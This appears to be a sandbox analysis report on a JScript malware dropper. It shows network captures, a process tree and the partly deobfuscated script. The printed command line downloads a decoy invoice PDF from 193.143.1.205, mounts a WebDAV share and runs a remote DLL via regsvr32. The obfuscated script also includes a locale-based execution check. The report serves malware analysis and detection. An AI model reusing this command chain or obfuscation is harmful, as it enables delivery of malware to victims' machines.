Jan 11, 2025 02:52:37.206604004 CET	1.1.1.1	192.168.2.9	0x3df7	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:52:37.206604004 CET	1.1.1.1	192.168.2.9	0x3df7	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:53:01.597290993 CET	1.1.1.1	192.168.2.9	0x808c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:53:01.597290993 CET	1.1.1.1	192.168.2.9	0x808c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:53:25.675482035 CET	1.1.1.1	192.168.2.9	0x7a42	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:53:25.675482035 CET	1.1.1.1	192.168.2.9	0x7a42	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:53:49.770636082 CET	1.1.1.1	192.168.2.9	0x7634	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:53:49.770636082 CET	1.1.1.1	192.168.2.9	0x7634	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49749	193.143.1.205	80	6208	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:51:58.048927069 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:51:58.848965883 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:51:58 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:51:58.848995924 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:51:58.849008083 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 02:51:58.849014997 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 02:51:58.849093914 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 02:51:58.849106073 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 02:51:58.849117994 CET	776	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 11, 2025 02:51:58.849160910 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 02:51:58.849210978 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 11, 2025 02:51:58.849221945 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9
Jan 11, 2025 02:51:58.853990078 CET	444	IN	Data Raw: d8 51 55 3b 72 1f 4b 07 86 5e 9c eb 03 43 6f 8f a2 18 3a 7c 34 7d 33 3d 0e f7 e7 7f 7d 10 fe fa fd 38 86 36 9b 72 4d 0c bd e9 62 28 c7 86 4e 61 ea 9b 13 00 00 c0 34 f8 62 09 00 36 ca dc 4e c3 1d b9 b9 b1 50 5d 07 c2 a2 a1 0f 97 14 b9 ed a9 26 5b Data Ascii: QU;rK^Co:\|4}3=}86rMb(Na4b6NP]&[\KM(_pC%sSOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49765	193.143.1.205	8888	652	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:52:00.232151985 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:52:01.023025036 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:52:00 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:51:54
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23754232101540928500.js"
Imagebase:	0x7ff6e2e40000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:51:54
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll
Imagebase:	0x7ff7058d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:51:54
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:51:55
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:51:59
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:51:59
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7058d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:51:59
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6a9340000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:52:00
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:52:00
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:52:00
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1644,i,11982720201399169687,571317967426067473,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function vjnrsp() {	vjnrsp() ➔ undefined
1	nmeiwdwn = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var hgnycmh = this[xbrzax + ahjvxs + xbgdo + iocnnio + giqbltm + kxnifych + ucthd + dabsstkb] ( this[jceghtd + ipuoml + bwzpjfks + xbgdo + fjvyf + xbrzax + dabsstkb][lylzeobqc + xbgdo + giqbltm + ahjvxs + dabsstkb + giqbltm + kukpbtt + sjbxb + dtbufhd + giqbltm + bwzpjfks + dabsstkb] ( jceghtd + ipuoml + bwzpjfks + xbgdo + fjvyf + xbrzax + dabsstkb + swyswsry + ipuoml + jcwehny + giqbltm + tysjh + tysjh ) [xyghxfoac + giqbltm + xujjqg + xyghxfoac + giqbltm + ahjvxs + ejtubklr] ( qqokw + dusvdpwzp + lghbwrfr + bdynfmm + rqsrtfv + lylzeobqc + rtxfj + xyghxfoac + xyghxfoac + lghbwrfr + rapsvvcs + renmji + rqsrtfv + rtxfj + ipuoml + lghbwrfr + xyghxfoac + sjeynrur + lylzeobqc + etilgdqo + ucthd + dabsstkb + xbgdo + etilgdqo + tysjh + ocvego + qwokndqqy + ahjvxs + ucthd + giqbltm + tysjh + sjeynrur + kxnifych + ucthd + dabsstkb + giqbltm + xbgdo + ucthd + ahjvxs + dabsstkb + fjvyf + etilgdqo + ucthd + ahjvxs + tysjh + sjeynrur + khyxm + etilgdqo + bwzpjfks + ahjvxs + tysjh + giqbltm ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( xwewki = 0 ; xwewki < nmeiwdwn[tysjh + giqbltm + ucthd + xujjqg + dabsstkb + jcwehny] ; ++ xwewki )
4	{
5	if ( hgnycmh == nmeiwdwn[xwewki] )
6	{
7	hgnycmh = true;
8	break ;
9	}
10	}
11	if ( hgnycmh !== true )
12	this[jceghtd + ipuoml + bwzpjfks + xbgdo + fjvyf + xbrzax + dabsstkb][zvkbrp + gjojhh + fjvyf + dabsstkb] ( );
13	this[jceghtd + ipuoml + bwzpjfks + xbgdo + fjvyf + xbrzax + dabsstkb][lylzeobqc + xbgdo + giqbltm + ahjvxs + dabsstkb + giqbltm + kukpbtt + sjbxb + dtbufhd + giqbltm + bwzpjfks + dabsstkb] ( jceghtd + ipuoml + bwzpjfks + xbgdo + fjvyf + xbrzax + dabsstkb + swyswsry + ipuoml + jcwehny + giqbltm + tysjh + tysjh ) [xbgdo + gjojhh + ucthd] ( bwzpjfks + sqhlesu + ejtubklr + ocvego + rmorp + bwzpjfks + ocvego + xbrzax + etilgdqo + bqrfzdx + giqbltm + xbgdo + iocnnio + jcwehny + giqbltm + tysjh + tysjh + swyswsry + giqbltm + stcmw + giqbltm + ocvego + jauobmfkr + lylzeobqc + etilgdqo + sqhlesu + sqhlesu + ahjvxs + ucthd + ejtubklr + ocvego + vimjlhdns + kxnifych + ucthd + trvab + etilgdqo + myvgadcdy + giqbltm + jauobmfkr + jceghtd + giqbltm + sjbxb + xyghxfoac + giqbltm + rwwjmma + gjojhh + giqbltm + iocnnio + dabsstkb + ocvego + jauobmfkr + kukpbtt + gjojhh + dabsstkb + hnryyr + fjvyf + tysjh + giqbltm + ocvego + affzwfilt + dabsstkb + giqbltm + sqhlesu + xbrzax + affzwfilt + sjeynrur + fjvyf + ucthd + trvab + etilgdqo + fjvyf + bwzpjfks + giqbltm + swyswsry + xbrzax + ejtubklr + viopklfvx + ocvego + jcwehny + dabsstkb + dabsstkb + xbrzax + mmacigr + rmorp + rmorp + kwrnk + bzwtx + tderkyp + swyswsry + kwrnk + zjgcjgweh + tderkyp + swyswsry + kwrnk + swyswsry + btwsy + avdwk + zdnpy + rmorp + fjvyf + ucthd + trvab + etilgdqo + fjvyf + bwzpjfks + giqbltm + swyswsry + xbrzax + jcwehny + xbrzax + vimjlhdns + lehun + lehun + iocnnio + dabsstkb + ahjvxs + xbgdo + dabsstkb + ocvego + affzwfilt + dabsstkb + giqbltm + sqhlesu + xbrzax + affzwfilt + sjeynrur + fjvyf + ucthd + trvab + etilgdqo + fjvyf + bwzpjfks + giqbltm + swyswsry + xbrzax + ejtubklr + viopklfvx + lehun + lehun + bwzpjfks + sqhlesu + ejtubklr + ocvego + rmorp + bwzpjfks + ocvego + ucthd + giqbltm + dabsstkb + ocvego + gjojhh + iocnnio + giqbltm + ocvego + sjeynrur + sjeynrur + kwrnk + bzwtx + tderkyp + swyswsry + kwrnk + zjgcjgweh + tderkyp + swyswsry + kwrnk + swyswsry + btwsy + avdwk + zdnpy + dvrcfo + sfkdick + sfkdick + sfkdick + sfkdick + sjeynrur + ejtubklr + ahjvxs + trvab + bqrfzdx + bqrfzdx + bqrfzdx + xbgdo + etilgdqo + etilgdqo + dabsstkb + sjeynrur + lehun + lehun + bwzpjfks + sqhlesu + ejtubklr + ocvego + rmorp + bwzpjfks + ocvego + xbgdo + giqbltm + xujjqg + iocnnio + trvab + xbgdo + tderkyp + btwsy + ocvego + rmorp + iocnnio + ocvego + sjeynrur + sjeynrur + kwrnk + bzwtx + tderkyp + swyswsry + kwrnk + zjgcjgweh + tderkyp + swyswsry + kwrnk + swyswsry + btwsy + avdwk + zdnpy + dvrcfo + sfkdick + sfkdick + sfkdick + sfkdick + sjeynrur + ejtubklr + ahjvxs + trvab + bqrfzdx + bqrfzdx + bqrfzdx + xbgdo + etilgdqo + etilgdqo + dabsstkb + sjeynrur + btwsy + hqfub + tderkyp + zdnpy + tderkyp + sfkdick + avdwk + avdwk + kwrnk + btwsy + sfkdick + kwrnk + bzwtx + jwbglk + swyswsry + ejtubklr + tysjh + tysjh, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll",0,false) ➔ 0
14	}
15	iocnnio = "s";
16	rqsrtfv = "u";
17	rqsrtfv = "_";
18	hnryyr = "p";
19	hnryyr = "R";
20	hnryyr = "R";
21	hnryyr = "n";
22	hnryyr = "i";
23	hnryyr = "F";
24	giqbltm = "e";
25	giqbltm = "L";
26	giqbltm = "i";
27	giqbltm = "B";
28	giqbltm = "b";
29	giqbltm = "l";
30	giqbltm = "V";
31	giqbltm = "q";
32	giqbltm = "R";
33	giqbltm = "u";
34	giqbltm = "D";
35	giqbltm = "K";
36	giqbltm = "e";
37	giqbltm = "s";
38	giqbltm = "K";
39	giqbltm = "d";
40	giqbltm = "n";
41	giqbltm = "E";
42	giqbltm = "e";
43	khyxm = "e";
44	khyxm = "Y";
45	khyxm = "W";
46	khyxm = "L";
47	khyxm = "M";
48	khyxm = "i";
49	khyxm = "I";
50	khyxm = "n";
51	khyxm = "k";
52	khyxm = "B";
53	khyxm = "H";
54	khyxm = "t";
55	khyxm = "K";
56	khyxm = "X";
57	khyxm = "A";
58	khyxm = "y";
59	khyxm = "F";
60	khyxm = "Y";
61	khyxm = "R";
62	khyxm = "L";
63	sjeynrur = "Q";
64	sjeynrur = "C";
65	sjeynrur = "K";
66	sjeynrur = "k";
67	sjeynrur = "R";
68	sjeynrur = "g";
69	sjeynrur = "h";
70	sjeynrur = "T";
71	sjeynrur = "T";
72	sjeynrur = "z";
73	sjeynrur = "f";
74	sjeynrur = "h";
75	sjeynrur = "f";
76	sjeynrur = "O";
77	sjeynrur = "Z";
78	sjeynrur = "q";
79	sjeynrur = "X";
80	sjeynrur = "e";
81	sjeynrur = "q";
82	sjeynrur = "Y";
83	sjeynrur = "i";
84	sjeynrur = "y";
85	sjeynrur = "e";
86	sjeynrur = "W";
87	sjeynrur = "H";
88	sjeynrur = "o";
89	sjeynrur = "K";
90	sjeynrur = "x";
91	sjeynrur = "p";
92	sjeynrur = "V";
93	sjeynrur = "g";
94	sjeynrur = "m";
95	sjeynrur = "g";
96	sjeynrur = "N";
97	sjeynrur = "\\";
98	sfkdick = "P";
99	sfkdick = "8";
100	qqokw = "X";
101	qqokw = "J";
102	qqokw = "V";
103	qqokw = "N";
104	qqokw = "I";
105	qqokw = "A";
106	qqokw = "q";
107	qqokw = "m";
108	qqokw = "L";
109	qqokw = "V";
110	qqokw = "c";
111	qqokw = "D";
112	qqokw = "z";
113	qqokw = "h";
114	qqokw = "M";
115	qqokw = "V";
116	qqokw = "y";
117	qqokw = "w";
118	qqokw = "v";
119	qqokw = "C";
120	qqokw = "u";
121	qqokw = "u";
122	qqokw = "E";
123	qqokw = "U";
124	qqokw = "H";
125	hqfub = "w";
126	hqfub = "N";
127	hqfub = "Y";
128	hqfub = "W";
129	hqfub = "7";
130	ahjvxs = "d";
131	ahjvxs = "T";
132	ahjvxs = "a";
133	jceghtd = "g";
134	jceghtd = "t";
135	jceghtd = "K";
136	jceghtd = "r";
137	jceghtd = "E";
138	jceghtd = "a";
139	jceghtd = "Y";
140	jceghtd = "Q";
141	jceghtd = "I";
142	jceghtd = "z";
143	jceghtd = "X";
144	jceghtd = "I";
145	jceghtd = "x";
146	jceghtd = "F";
147	jceghtd = "f";
148	jceghtd = "M";
149	jceghtd = "j";
150	jceghtd = "F";
151	jceghtd = "F";
152	jceghtd = "j";
153	jceghtd = "d";
154	jceghtd = "U";
155	jceghtd = "H";
156	jceghtd = "h";
157	jceghtd = "y";
158	jceghtd = "s";
159	jceghtd = "V";
160	jceghtd = "l";
161	jceghtd = "U";
162	jceghtd = "Q";
163	jceghtd = "T";
164	jceghtd = "S";
165	jceghtd = "D";
166	jceghtd = "T";
167	jceghtd = "N";
168	jceghtd = "W";
169	avdwk = "a";
170	avdwk = "X";
171	avdwk = "U";
172	avdwk = "m";
173	avdwk = "N";
174	avdwk = "J";
175	avdwk = "b";
176	avdwk = "u";
177	avdwk = "T";
178	avdwk = "H";
179	avdwk = "g";
180	avdwk = "m";
181	avdwk = "o";
182	avdwk = "W";
183	avdwk = "G";
184	avdwk = "G";
185	avdwk = "D";
186	avdwk = "L";
187	avdwk = "C";
188	avdwk = "O";
189	avdwk = "0";
190	sjbxb = "A";
191	sjbxb = "r";
192	sjbxb = "R";
193	sjbxb = "j";
194	sjbxb = "P";
195	sjbxb = "z";
196	sjbxb = "o";
197	sjbxb = "y";
198	sjbxb = "X";
199	sjbxb = "B";
200	sjbxb = "v";
201	sjbxb = "K";
202	sjbxb = "p";
203	sjbxb = "x";
204	sjbxb = "N";
205	sjbxb = "X";
206	sjbxb = "z";
207	sjbxb = "w";
208	sjbxb = "U";
209	sjbxb = "H";
210	sjbxb = "M";
211	sjbxb = "n";
212	sjbxb = "D";
213	sjbxb = "g";
214	sjbxb = "b";
215	renmji = "a";
216	renmji = "B";
217	renmji = "a";
218	renmji = "O";
219	renmji = "z";
220	renmji = "V";
221	renmji = "p";
222	renmji = "u";
223	renmji = "v";
224	renmji = "H";
225	renmji = "p";
226	renmji = "n";
227	renmji = "O";
228	renmji = "X";
229	renmji = "w";
230	renmji = "q";
231	renmji = "e";
232	renmji = "s";
233	renmji = "S";
234	renmji = "D";
235	renmji = "k";
236	renmji = "g";
237	renmji = "F";
238	renmji = "H";
239	renmji = "n";
240	renmji = "p";
241	renmji = "r";
242	renmji = "y";
243	renmji = "K";
244	renmji = "T";
245	jcwehny = "V";
246	jcwehny = "D";
247	jcwehny = "a";
248	jcwehny = "P";
249	jcwehny = "u";
250	jcwehny = "I";
251	jcwehny = "f";
252	jcwehny = "I";
253	jcwehny = "V";
254	jcwehny = "U";
